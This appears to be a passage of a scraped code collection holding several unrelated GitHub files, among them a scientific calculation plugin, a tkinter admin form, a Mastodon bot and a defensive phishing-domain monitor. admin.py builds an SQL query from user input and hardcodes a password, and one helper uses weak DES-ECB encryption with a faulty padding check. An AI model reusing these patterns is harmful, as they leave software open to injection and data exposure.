default=\"INPUT\")\n spec.input(\n \"metadata.options.output_main_file_name\", valid_type=str, default=\"main.out\"\n )\n\n spec.input(\n \"metadata.options.parser_name\", valid_type=str, default=\"crystal17.main\"\n )\n\n # TODO review aiidateam/aiida_core#2997, when closed, for exit code formalization\n\n # Unrecoverable errors: resources like the retrieved folder or its expected contents are missing\n spec.exit_code(\n 200,\n \"ERROR_NO_RETRIEVED_FOLDER\",\n message=\"The retrieved folder data node could not be accessed.\",\n )\n spec.exit_code(\n 210,\n \"ERROR_OUTPUT_FILE_MISSING\",\n message=\"the main (stdout) output file was not found\",\n )\n spec.exit_code(\n 211,\n \"ERROR_TEMP_FOLDER_MISSING\",\n message=\"the temporary retrieved folder was not found\",\n )\n\n # Unrecoverable errors: required retrieved files could not be read, parsed or are otherwise incomplete\n spec.exit_code(\n 300,\n \"ERROR_PARSING_STDOUT\",\n message=(\n \"An error was flagged trying to parse the \" \"crystal exec stdout file\"\n ),\n )\n spec.exit_code( # TODO is this an unrecoverable error?\n 301,\n \"ERROR_PARSING_OPTIMISATION_GEOMTRIES\",\n message=(\"An error occurred parsing the 'opta'/'optc' geometry files\"),\n )\n spec.exit_code(\n 302,\n \"TESTGEOM_DIRECTIVE\",\n message=(\n \"The crystal exec stdout file denoted that the run was a testgeom\"\n ),\n )\n\n spec.exit_code(\n 350,\n \"ERROR_CRYSTAL_INPUT\",\n message=\"the input file could not be read by CRYSTAL\",\n )\n spec.exit_code(\n 351,\n \"ERROR_WAVEFUNCTION_NOT_FOUND\",\n message=\"CRYSTAL could not find the required wavefunction file\",\n )\n spec.exit_code(\n 352,\n \"UNIT_CELL_NOT_NEUTRAL\",\n message=\"Possibly due to erroneous CHEMOD basis set modification\",\n )\n spec.exit_code(\n 353,\n \"SHELL_SYMMETRY_ERROR\",\n message=\"Possibly due to erroneous CHEMOD basis set modification\",\n )\n spec.exit_code(\n 354, \"CHEMMOD_ERROR\", message=\"Error in CHEMOD basis set modification\"\n )\n\n # Significant errors but calculation can be used to restart\n spec.exit_code(\n 400,\n \"ERROR_OUT_OF_WALLTIME\",\n message=\"The calculation stopped prematurely because it ran out of walltime.\",\n )\n spec.exit_code(\n 401,\n \"ERROR_OUT_OF_MEMORY\",\n message=\"The calculation stopped prematurely because it ran out of memory.\",\n )\n spec.exit_code(\n 402,\n \"ERROR_OUT_OF_VMEMORY\",\n message=\"The calculation stopped prematurely because it ran out of virtual memory.\",\n )\n\n spec.exit_code(\n 411,\n \"UNCONVERGED_SCF\",\n message=\"SCF convergence did not finalise (usually due to reaching step limit)\",\n )\n spec.exit_code(\n 412,\n \"UNCONVERGED_GEOMETRY\",\n message=\"Geometry convergence did not finalise (usually due to reaching step limit)\",\n )\n spec.exit_code(\n 413,\n \"BASIS_SET_LINEARLY_DEPENDENT\",\n message=\"an error encountered usually during geometry optimisation\",\n )\n spec.exit_code(\n 414,\n \"ERROR_SCF_ABNORMAL_END\",\n message=\"an error was encountered during an SCF computation\",\n )\n spec.exit_code(\n 415,\n \"ERROR_MPI_ABORT\",\n message=\"an unknown error was encountered, causing the MPI to abort\",\n )\n spec.exit_code(\n 499,\n \"ERROR_CRYSTAL_RUN\",\n message=\"The main crystal output file flagged an unhandled error\",\n )\n\n # errors in symmetry node consistency checks\n spec.exit_code(\n 510,\n \"ERROR_SYMMETRY_INCONSISTENCY\",\n message=(\"inconsistency in the input and output symmetry\"),\n )\n spec.exit_code(\n 520,\n \"ERROR_SYMMETRY_NOT_FOUND\",\n message=(\"primitive symmops were not found in the output file\"),\n )\n\n spec.output(\n cls.link_output_results,\n valid_type=DataFactory(\"dict\"),\n required=True,\n help=\"the data extracted from the main output file\",\n )\n spec.default_output_node = cls.link_output_results\n spec.output(\n cls.link_output_structure,\n valid_type=DataFactory(\"structure\"),\n required=False,\n help=\"the structure output from the calculation\",\n )\n spec.output(\n cls.link_output_symmetry,\n valid_type=DataFactory(\"crystal17.symmetry\"),\n required=False,\n help=\"the symmetry data from the calculation\",\n )\n\n def create_calc_info(\n self,\n tempfolder,\n local_copy_list=None,\n remote_copy_list=None,\n remote_symlink_list=None,\n retrieve_list=None,\n retrieve_temporary_list=None,\n ):\n \"\"\"Prepare CalcInfo object for aiida,\n to describe how the computation will be executed and recovered\n \"\"\"\n # Prepare CodeInfo object for aiida,\n # describes how a code has to be executed\n codeinfo = CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n if self.metadata.options.withmpi:\n # parallel versions of crystal (Pcrystal, Pproperties & MPPcrystal)\n # read data specifically from a file called INPUT\n if self.metadata.options.input_file_name != \"INPUT\":\n tempfolder.insert_path(\n os.path.join(\n tempfolder.abspath, self.metadata.options.input_file_name\n ),\n dest_name=\"INPUT\",\n )\n else:\n codeinfo.stdin_name = self.metadata.options.input_file_name\n codeinfo.stdout_name = self.metadata.options.output_main_file_name\n # serial version output to stdout, but parallel version output to stderr!\n # so we join the files\n codeinfo.join_files = True\n codeinfo.cmdline_params = []\n codeinfo.withmpi = self.metadata.options.withmpi\n\n # Prepare CalcInfo object for aiida\n calcinfo = CalcInfo()\n calcinfo.uuid = self.uuid\n calcinfo.codes_info = [codeinfo]\n calcinfo.local_copy_list = local_copy_list or []\n calcinfo.remote_copy_list = remote_copy_list or []\n calcinfo.remote_symlink_list = remote_symlink_list or []\n calcinfo.retrieve_list = retrieve_list or []\n calcinfo.retrieve_temporary_list = retrieve_temporary_list or []\n\n return calcinfo\n","repo_name":"aiidaplugins/aiida-crystal17","sub_path":"aiida_crystal17/calculations/cry_abstract.py","file_name":"cry_abstract.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"28535523256","text":"import tkinter\nimport tkinter.messagebox\nimport mysql.connector\n\nclass AdminScreen:\n def __init__(self) -> None:\n self.connection = mysql.connector.connect(user=\"saketh\", password=\"notpassword\", host=\"localhost\", database=\"smartges\")\n self.cursor = self.connection.cursor()\n\n self.colours = {\n \"eggplant\": \"#6C464F\", \n \"mb pink\": \"#9E768F\", \n \"cool gray\": \"#9FA4C4\", \n \"light blue\": \"#B3CDD1\"\n }\n \n self.root = tkinter.Tk()\n self.root.title(\"Admin Screen\")\n self.root.geometry(\"640x480\")\n self.root.configure(bg=self.colours[\"cool gray\"])\n\n self.title = tkinter.Label(self.root, text=\"Command Creation\", bg=self.colours[\"cool gray\"], font=(\"Helvetica\", 28))\n self.title.place(x=160, y=50)\n\n self.code_label = tkinter.Label(self.root, text=\"Code:\", bg=self.colours[\"cool gray\"], font=(\"Helvetica\", 16))\n self.code_label.place(x=50, y=220)\n\n self.code_entry = tkinter.Entry(self.root, width=10, font=(\"Helvetica\", 16))\n self.code_entry.place(x=120, y=220)\n\n self.file_label = tkinter.Label(self.root, text=\"File Name:\", bg=self.colours[\"cool gray\"], font=(\"Helvetica\", 16))\n self.file_label.place(x=50, y=280)\n\n self.file_name = tkinter.Entry(self.root, font=(\"Helvetica\", 16))\n self.file_name.place(x=170, y=280)\n\n self.submit = tkinter.Button(self.root, text=\"Submit\", command=self.submit)\n self.submit.place(x=300, y=400)\n\n self.root.mainloop()\n \n def submit(self):\n code = self.code_entry.get()\n file = self.file_name.get()\n\n if len(code) != 5:\n tkinter.messagebox.showerror(\"Invalid Code\", \"Please enter a five-digit code.\")\n return\n for d in code:\n if d not in '10':\n tkinter.messagebox.showerror(\"Invalid Code\", \"All digits must be either 0 or 1.\")\n return\n\n self.cursor.execute(f\"INSERT INTO gestures VALUES ('{code}', '{file}')\")\n self.connection.commit()\n\n self.cursor.close()\n self.connection.close()\n\n self.root.destroy()\n tkinter.messagebox.showinfo(\"Database Updated\", \"Database Successfully Updated\")\n \nif __name__ == \"__main__\":\n AdminScreen()\n","repo_name":"SavvyHex/Gesture_Recognition","sub_path":"src/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74104092241","text":"\nimport numpy as np\nimport math\nimport os\nimport time\n\nmatrices_size = [2**i for i in range(1,11)]\n\n# helper function to return the next path e.g. file-1.txt, file-2.txt, file-3.txt\ndef next_path(path_pattern):\n \"\"\"\n Finds the next free path in an sequentially named list of files\n\n e.g. path_pattern = 'file-%s.txt':\n\n file-1.txt\n file-2.txt\n file-3.txt\n\n Runs in log(n) time where n is the number of existing files in sequence\n \"\"\"\n i = 1\n\n # First do an exponential search\n while os.path.exists(path_pattern % i):\n i = i * 2\n\n # Result lies somewhere in the interval (i/2..i]\n # We call this interval (a..b] and narrow it down until a + 1 = b\n a, b = (i // 2, i)\n while a + 1 < b:\n c = (a + b) // 2 # interval midpoint\n a, b = (c, b) if os.path.exists(path_pattern % c) else (a, c)\n\n return path_pattern % b\n\n\n'''\ninput files\n'''\n\n''' n upto 2**14'''\n# create a random matrix of size n*n\ndef create_matrix(n):\n assert n <= 2**14\n assert math.ceil(math.log(n,2)) == math.floor(math.log(n,2)) # n is power of 2\n\n size = n\n return np.random.randint(0, 10, size=(size, size))\n\n''' long integer '''\n# read the input file and return two matrices\ndef read_2_matrix(filename):\n filecontent = np.fromfile(filename, dtype=int, sep=\" \")\n\n size = filecontent[0]\n print('size of matrix is %d * %d' %(size,size))\n\n a = filecontent[1:size*size+1].reshape((size,size))\n b = filecontent[size*size+1:].reshape((size,size))\n \n return (a,b)\n\n# to write the generated matrices to a file (input)\ndef write_2_matrix(filename, size, a, b):\n f = open(filename, \"a\")\n f.write(str(size) + \"\\n\")\n f.write(\" \".join(map(str, a.flatten())) + \"\\n\")\n f.write(\" \".join(map(str, b.flatten())) + \"\\n\")\n # increment to the latest file\n\n# to write the result to a file\n# e.g. write_2_matrix(next_path(\"input%s.txt\"), 128, create_matrix(128), create_matrix(128))\ndir_name = \"result/\"\ndef write_result(filename, method, size, matrix, elapsed_time):\n # construct name of file \n output_filename = dir_name + filename + \"_\" + str(size) + \"_output_\" + method + \".txt\"\n info_filename = dir_name + filename + \"_\" + str(size) + \"_info_\" + method + \".txt\"\n\n # print the resulting matrix \n output = open(output_filename, \"a\")\n output.write(\" \".join((str(x) for x in matrix)))\n\n\n # print the time taken to get the result \n info = open(info_filename, \"a\")\n info.write(time.strftime(\"%H:%M:%S\", time.gmtime(elapsed_time)) + \"\\n\")\n\n pass\n\nif __name__ == \"__main__\":\n # create input files as in matrices_size\n for i,size in enumerate(matrices_size):\n mat1 = create_matrix(size)\n mat2 = create_matrix(size)\n write_2_matrix(next_path(\"input%s.txt\"), size, mat1, mat2)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Alawaji214/ics507project","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35159121095","text":"from tasks.glue.dataset import task_to_keys as glue_tasks\nfrom tasks.superglue.dataset import task_to_keys as superglue_tasks\n\nGLUE_DATASETS = list(glue_tasks.keys())\nSUPERGLUE_DATASETS = list(superglue_tasks.keys())\nNER_DATASETS = [\"conll2003\", \"conll2004\", \"ontonotes\", \"wikiann\"]\nSRL_DATASETS = [\"conll2005\", \"conll2012\"]\nQA_DATASETS = [\"squad\", \"squad_v2\", 'xquad', \"mlqa\", \"tydia\"]\nPOS_DATASETS = [\"udpos\"]\n\nTASKS = [\"glue\", \"superglue\", \"ner\", \"srl\", \"qa\", \"pos\"]\n\nDATASETS = GLUE_DATASETS + SUPERGLUE_DATASETS + NER_DATASETS + SRL_DATASETS + QA_DATASETS + POS_DATASETS\n\nADD_PREFIX_SPACE = {\n 'bert': False,\n 'roberta': True,\n 'xlm-roberta':True,\n 'deberta': True,\n 'gpt2': True,\n 'deberta-v2': True,\n}\n\nUSE_FAST = {\n 'bert': True,\n 'roberta': True,\n 'xlm-roberta':True,\n 'deberta': True,\n 'gpt2': True,\n 'deberta-v2': False,\n}\n","repo_name":"salesforce/MPT","sub_path":"tasks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"23875466861","text":"import json\nimport logging\nimport time\n\nimport openai\nimport settings\nimport tqdm\nfrom mastodon import Mastodon\n\nopenai.api_key_path = settings.open_ai_api_key_path\n\n\ndef get_formatted_toots(lotd):\n toots = []\n for link in lotd:\n accounts = [\"@\" + x[\"account\"][\"username\"] for x in link[\"backlinks\"]]\n if len(accounts) == 1:\n accounts = accounts[0]\n elif len(accounts) > 3:\n accounts = \", \".join(accounts[:3]) + f\" and {len(accounts) - 3} others\"\n else:\n accounts = \", \".join(accounts[:-1]) + f\" and {accounts[-1]}\"\n tags = [\"#lotd\"]\n if link[\"is_scientific_article\"]:\n tags.append(\"#science\")\n if link[\"is_news\"]:\n tags.append(\"#news\")\n tags = \" \".join(tags)\n\n content = f\"\"\"\n

{link['title']} - {link['website']}

\n

TL;DR {link['tldr']}

\n

Linked by {accounts} ({link['popularity']}тнР)

\n

{link['summary']}

\n

{tags}

\n

Original link: {link['backlinks'][0][\"uri\"]}

\n\"\"\"\n\n toots.append(content)\n return toots\n\ndef summarize_together(links):\n summaries = [link[\"tldr\"] for link in links]\n all_together = \"\\n\".join(summaries)\n\n model = 'gpt-4'\n prompt = f\"\"\"\nSummarize in three short statements (max 15 words total, separated by a comma) the themes of the following summaries.\nYou don't have to cover all the summaries, but you should cover the themes of at least 3 of them. \nIf things are mentioned multiple times, you can mention them once. Make it short and sweet, enticing but not clickbait-y.\n\n{all_together}\n\"\"\"\n\n for delay in [1, 2, 4, 8, 16, 32, 64, 128]:\n logger.info(f\"Trying model {model}\")\n try:\n response = openai.ChatCompletion.create(\n model=model,\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant. You always follow instructions.\"},\n {\"role\": \"user\", \"content\": prompt},\n ],\n )\n content = response[\"choices\"][0][\"message\"][\"content\"]\n return content\n except (openai.error.APIError, openai.error.RateLimitError) as e:\n logger.warning(e)\n logger.warning(f\"Failed to get response from model {model}\")\n \n logger.warning(f\"Retrying in {delay} s\")\n time.sleep(delay)\n\nlogging.basicConfig(level=logging.INFO)\n\n# Create the logger\nlogger = logging.getLogger(__name__)\n\n\nif __name__ == \"__main__\":\n with open(\".access.secret\", \"r\") as f:\n access_token = f.read()\n\n mastodon = Mastodon(\n access_token=access_token,\n api_base_url=settings.mastodon_url\n )\n\n date_str = time.strftime(\"%Y-%m-%d\", time.localtime())\n with open(f\"cache/lotd-{date_str}.json\", \"r\") as f:\n lotd = json.load(f)\n\n # Generate summaries of summaries.\n logger.info(\"Summarizing summaries...\")\n global_summary = summarize_together(lotd)\n\n toots_formatted = get_formatted_toots(lotd)\n\n first_str = f'

ЁЯОЙ Today\\'s most popular links

{global_summary}

{date_str} edition

'\n first_toot = mastodon.status_post(first_str)\n first_toot_id = first_toot[\"id\"]\n\n with open('cache/first_toot_id.txt', 'w') as f:\n f.write(str(first_toot_id))\n\n for toot in tqdm.tqdm(toots_formatted):\n mastodon.status_post(\n toot,\n in_reply_to_id=first_toot_id,\n visibility='unlisted'\n )\n time.sleep(1)\n","repo_name":"patrickmineault/mastodon-lotd-bot","sub_path":"post_toots.py","file_name":"post_toots.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33243849168","text":"# #문제\n# 왕비를 피해 일곱 난쟁이들과 함께 평화롭게 생활하고 있던 백설공주에게 위기가 찾아왔다. 일과를 마치고 돌아온 난쟁이가 일곱 명이 아닌 아홉 명이었던 것이다.\n\n# 아홉 명의 난쟁이는 모두 자신이 \"백설 공주와 일곱 난쟁이\"의 주인공이라고 주장했다. 뛰어난 수학적 직관력을 가지고 있던 백설공주는, 다행스럽게도 일곱 난쟁이의 키의 합이 100이 됨을 기억해 냈다.\n\n# 아홉 난쟁이의 키가 주어졌을 때, 백설공주를 도와 일곱 난쟁이를 찾는 프로그램을 작성하시오.\n\na=[]\nbool=False\nfor _ in range(9):\n a.append(int(input()))\nsum_h=sum(a)\nfor i in range(0,9):\n for j in range(1+i,9):\n if sum_h-a[i]-a[j]==100:\n a[i]=a[j]=0\n bool=True\n if(bool):\n break\na.sort()\nfor k in range(0, 9):\n if a[k] != 0:\n print(a[k])\n\n#난쟁이가 9명이 있기 때문에 리스트 a에 입력을 받아준다.\n#일곱 난쟁이의 키의 합이 100이기 때문에 아홉 난쟁이의 키에서 두 난쟁이의 키를 뺐을 때 100이 되는 경우를 찾아주었다.\n\n#10 20 30 30 2 2 6 20 40\n#10 10 10 10 10 10 40 20 20\n\n#위의 두가지 테스트 케이스 때문에 문제를 많이 틀렸는데, 위에 있는 경우에는 bool로 종료를 시켜주지 않아서 일어났고,\n#밑에 경우에는 정렬을 입력받자마자 해주어서 오류가 났다.","repo_name":"park-yeon-cheol/python","sub_path":"2309.py","file_name":"2309.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69793839121","text":"#coding: utf8\nfrom __future__ import absolute_import\nimport base64\nfrom Crypto.Cipher import DES\nfrom farbox_bucket.utils import to_bytes\n\n\ndef simple_encrypt(key, text):\n key = key[:8]\n text = to_bytes(text)\n des = DES.new(key, DES.MODE_ECB)\n reminder = len(text)%8\n if reminder == 0: # pad 8 bytes\n text += '\\x08'*8\n else:\n text += chr(8-reminder) * (8-reminder)\n return base64.b64encode(des.encrypt(text))\n\n\ndef simple_decrypt(key,text):\n key = key[:8]\n text = base64.b64decode(text)\n des = DES.new(key, DES.MODE_ECB)\n text = des.decrypt(text)\n pad = ord(text[-1])\n if pad == '\\x08':\n return text[:-8]\n return text[:-pad]\n","repo_name":"hepochen/FarBox","sub_path":"farbox_bucket/utils/simple_encrypt.py","file_name":"simple_encrypt.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"3"} +{"seq_id":"42142422890","text":"#from langdetect import detect\nimport speech_recognition as sr\nfrom googletrans import Translator #pip install googletrans==3.1.0a0\nimport rclpy\nfrom rclpy.node import Node\nfrom std_msgs.msg import String\n\n#1. Listen : Hindi or English\nclass SpeechRecognizer(Node):\n def __init__(self):\n super().__init__('speech_recognizer')\n self.publisher_ = self.create_publisher(String, 'recognized_text', 10)\n timer_period = 0.5 # seconds\n self.timer = self.create_timer(timer_period, self.MicExecution_callback)\n \n def Listen(self):\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Listening...\")\n r.pause_threshold = 1\n audio = r.listen(source,0,5)\n\n\n try:\n print(\"Recognizing...\")\n # query = r.recognize_google(audio,languagr=\"hi\")\n query = r.recognize_google(audio)\n\n except:\n return \"\"\n\n query = str(query).lower()\n return query\n\n #print(Listen())\n\n #2. Translate\n\n def TranslationHindiToEng(self,Text):\n line = str(Text)\n translate = Translator()\n result = translate.translate(line)\n data = result.text\n print(f\"You: {data}.\")\n return data\n\n\n #3. Connect\n\n def MicExecution_callback(self):\n query = self.Listen()\n msg = String()\n msg.data = self.TranslationHindiToEng(query)\n self.publisher_.publish(msg)\n self.get_logger().info('Publishing: \"%s\"' % msg.data)\n \ndef main(args=None):\n rclpy.init(args=args)\n\n Speech_recognizer = SpeechRecognizer()\n\n rclpy.spin(Speech_recognizer)\n\n # Destroy the node explicitly\n # (optional - otherwise it will be done automatically\n # when the garbage collector destroys the node object)\n Speech_recognizer.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Shivansh2703/r-1","sub_path":"src/ai_assistant/ai_assistant/Body/Listen.py","file_name":"Listen.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33744875110","text":"#Weston Sandland, Procore Technologies 2019\nimport namegen\nimport fh\nimport clock\n\nimport requests\nimport time\nimport json\nimport threading\nimport re\nimport os\n\nrecentsName = \"recents.txt\"\nmasterName = \"masterlist.txt\"\ndebug = False\n\ndef makeRequest(website):\n headers = {\n 'Authorization': 'Bearer API_KEY', #replace with your API Key as shown in SSLMate API Credentials - Keep \"Bearer \"\n }\n params = (\n ('domain', website),\n #('expand', 'dns_names'), #uncomment for debugs\n #('expand', 'issuer'),\n #('expand', 'cert'),\n )\n raw = requests.get('https://api.certspotter.com/v1/issuances', headers=headers, params=params).json()\n return raw\n\n\ndef handleRecents(site):\n fh.createIfAbsent(masterName)\n fh.createIfAbsent(recentsName)\n masterFile = open(masterName, \"r+\")\n allMasters = masterFile.read()\n masterFile.close()\n if site not in str(allMasters):\n recentsFile = open(recentsName, \"a+\")\n masterFile = open(masterName, \"a+\")\n recentsFile.write(site + \"\\n\")\n masterFile.write(site + \"\\n\")\n recentsFile.close()\n masterFile.close()\n return 0\n\ndef phishProcessing(input, rotfsitelist, output):\n inputfile = open(input, \"w+\")\n inputfile.write(rotfsitelist[1])\n inputfile.close()\n certs = makeRequest(rotfsitelist[0])\n print(rotfsitelist[0])\n if len(certs) > 0:\n handleRecents(rotfsitelist[0])\n phfile = open(output, \"a+\")\n phfile.write(\"The website \" + rotfsitelist[0] + \" has the following certificates:\\n\")\n print(certs)\n for cert in certs:\n phfile.write(json.dumps(cert) + \"\\n\")\n phfile.close()\n inputfile = open(input, \"r+\")\n rotfsitelist[0] = inputfile.readline()[:-1]\n rotfsitelist[1] = inputfile.read()\n inputfile.close()\n return 0\n\ndef removeSite(input, rotfsitelist):\n print(rotfsitelist[0])\n inputfile = open(input, \"w+\")\n inputfile.write(rotfsitelist[1])\n inputfile.close()\n inputfile = open(input, \"r+\")\n rotfsitelist[0] = inputfile.readline()[:-1]\n rotfsitelist[1] = inputfile.read()\n inputfile.close()\n return 0\n\ndef pingSite(website):\n t = time.time()\n try:\n response = requests.get(\"https://\"+website).status_code\n print(response)\n except:\n response = -1\n return response != -1\n\ndef stdSleep():\n time.sleep(3.6)\n return 0\n\ndef requestAll(input, output):\n inputfile = open(input, \"r+\")\n rotfsitelist = [\"\",\"\"]\n rotfsitelist[0] = inputfile.readline()[:-1] #site\n rotfsitelist[1] = inputfile.read() #restofthefile\n inputfile.close()\n while len(rotfsitelist[1]) > 0: #multithreading saves approximately 0.2 seconds per request\n if pingSite(rotfsitelist[0]):\n t = time.time()\n t1 = threading.Thread(target=phishProcessing, args=(input, rotfsitelist, output))\n t2 = threading.Thread(target=stdSleep)\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n if time.time() - t <= 3.6:\n print(\"Error, time taken less than thread: \",time.time() - t)\n else:\n removeSite(input, rotfsitelist)\n return 0\n\ndef populateInput(name, input, replacement):\n isEmpty = fh.createIfAbsent(input)\n if isEmpty:\n sites = namegen.generateNames(name, replacement)\n sitefile = open(input, \"a+\")\n for site in sites:\n sitefile.write(site+\"\\n\")\n sitefile.write(\"If this is the only remaining text, all generated phishing sites have been exhausted.\")\n sitefile.close()\n return 0\n\ndef clearFiles(notThis):\n cwd = os.getcwd()\n files = os.listdir(cwd)\n for f in files:\n if f.endswith(\".txt\") and f not in notThis:\n os.remove(os.path.join(cwd, f))\n return 0\n\ndef certRoutine(valid):\n if debug:\n fh.createIfAbsent(masterName)\n repf = \"psdebug.txt\"\n master = open(\"masterlist.txt\", \"r+\")\n rotfsitelist = [\"\",\"\"]\n rotfsitelist[0] = master.readline()[:-1]\n rotfsitelist[1] = master.read()\n master.close()\n master = open(\"masterlist.txt\", \"w+\")\n master.write(rotfsitelist[1])\n master.close()\n else:\n repf = \"ps.txt\"\n clearFiles([\"ps.txt\", masterName, recentsName, \"time.txt\", \"psdebug.txt\"])\n inprefix = \"phsites\"\n outprefix = \"phcerts\"\n inf = inprefix + \"-\" + re.search(\".+\\.\", valid).group() + \"txt\"\n outf = outprefix + \"-\" + re.search(\".+\\.\", valid).group() + \"txt\"\n populateInput(valid, inf, repf)\n requestAll(inf, outf)\n return 0\n\ndef main():\n while True:\n if debug:\n certRoutine(\"red.com\")\n certRoutine(\"okta.com\")\n else:\n certRoutine(\"gmail.com\")\n certRoutine(\"google.com\")\n clock.check(debug)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"westonsandland/PhishingMonitor","sub_path":"phishmon.py","file_name":"phishmon.py","file_ext":"py","file_size_in_byte":4867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"1592561462","text":"# -*- coding: utf-8 -*-\nimport random\n\nfrom flask import Blueprint, render_template\nfrom flask_socketio import Namespace\n\nfrom application import socketIO\n\nindex = Blueprint(\"index\", __name__)\nconnect = None\n\n\n@index.route(\"/\", methods=[\"GET\"])\ndef socket_con():\n return render_template(\"index.html\")\n\n\ndef send_num():\n while True:\n socketIO.sleep(1)\n if connect:\n num = random.randint(10, 99)\n socketIO.emit(\"result\", str(num), namespace=\"/share\")\n else:\n break\n\n\nclass NamespaceHandler(Namespace):\n @staticmethod\n def on_get():\n global connect\n if connect:\n return False\n connect = True\n socketIO.start_background_task(send_num)\n\n @staticmethod\n def on_disconnect():\n global connect\n connect = False\n print(\"关闭\")\n\n\nsocketIO.on_namespace(NamespaceHandler(\"/share\"))\n","repo_name":"pkxiao/terminal","sub_path":"application/index/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17859975827","text":"\"\"\"\nThis script parses the OSM XML to return a statistics on the number of NODEs, WAYs, RELATIONs, NDs, MEMBERs and TAGs\n\"\"\"\n\nfrom functions import *\nimport pprint\n\n\ndef count_tags():\n \"\"\"\n this function parses the OSM file to count number of encountered tags\n :return: the dictionary containing the tags and count\n \"\"\"\n tags = {}\n for elem in get_element(('node', 'way', 'relation', 'nd', 'member', 'tag')):\n if elem.tag in tags:\n tags[elem.tag] += 1 # if the tag is encountered then increment it's count by 1\n else:\n tags[elem.tag] = 1 # else flag the tag as encountered and mark it's count as 1\n return tags\n\n\n# print the tag counts\ndef test():\n \"\"\"\n counts the number of occurrences of the tags and displays it\n :return: displays the count\n \"\"\"\n tags = count_tags()\n pprint.pprint(tags)\n\n\ntest()\n","repo_name":"pratyayroy/dand-p4-Wrangle-OpenStreetMap-Data","sub_path":"map_parser.py","file_name":"map_parser.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72217605527","text":"class Solution:\n # @return a boolean\n def isPalindrome(self, x):\n if x < 0:\n return False\n reverse = 0\n original = x\n while x > 0:\n reverse = reverse * 10 + x % 10\n x /= 10\n return original == reverse","repo_name":"CiyoMa/leetcode","sub_path":"palindromeNumber.py","file_name":"palindromeNumber.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"75051210009","text":"# from django.shortcuts import render, get_object_or_404\n# from django.http import JsonResponse\n\n# # Create your views here.\n\n# def home(request):\n# data = {\n# 'message': 'This is a json response'\n# }\n\n# return JsonResponse(data)\n\nfrom rest_framework import generics\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\nfrom .models import Student\nfrom .serializers import StudentSerializers\n\nclass CreateStudentViews(generics.CreateAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializers\n\nclass ReadStudentViews(generics.ListAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializers\n\nclass StudentDetailViews(generics.RetrieveAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializers\n\n# class RetrieveUserView(MultipleFieldLookupMixin, generics.RetrieveAPIView):\n# queryset = User.objects.all()\n# serializer_class = UserSerializer\n# lookup_fields = ['account', 'username']\n\nclass UpdateStudentViews(generics.UpdateAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializers\n \nclass DeleteStudentViews(generics.DestroyAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializers\n\n","repo_name":"danielsumah/Zuri-CRUD-API","sub_path":"apiapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71781891287","text":"# coding=utf-8\nimport csv\nimport datetime\nimport glob\nimport time\nimport sqlite3\n\nfrom google.appengine.api import datastore\nfrom google.appengine.datastore import entity_pb\nimport time\n\n\ndef read_sql3(file_path):\n all_files = glob.glob(file_path + \"*.sql3\")\n t = int(time.time())\n csvwriter = csv.writer(open('./csv/result_%s.csv' % t, 'w'))\n csvwriter.writerow(['time_stamp', 'date_time', 'user_agent', 'client_ip', 'uri'])\n for sql3_file in all_files:\n print('read file:', sql3_file)\n count = 0\n conn = sqlite3.connect(sql3_file)\n cursor = conn.cursor()\n\n cursor.execute('select id,value from result')\n for unused_entity_id, entity in cursor:\n entity_proto = entity_pb.EntityProto(contents=entity)\n f = datastore.Entity._FromPb(entity_proto)\n date_time = f['time'].replace(microsecond=0) + datetime.timedelta(hours=9)\n time_stamp = int(time.mktime(date_time.timetuple()))\n user_agent = f['agent']\n client_ip = f['clientip']\n uri = f['uri']\n csvwriter.writerow([time_stamp, date_time, user_agent, client_ip, uri])\n count = count + 1\n cursor.close()\n conn.close()\n print('count:', count)\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n 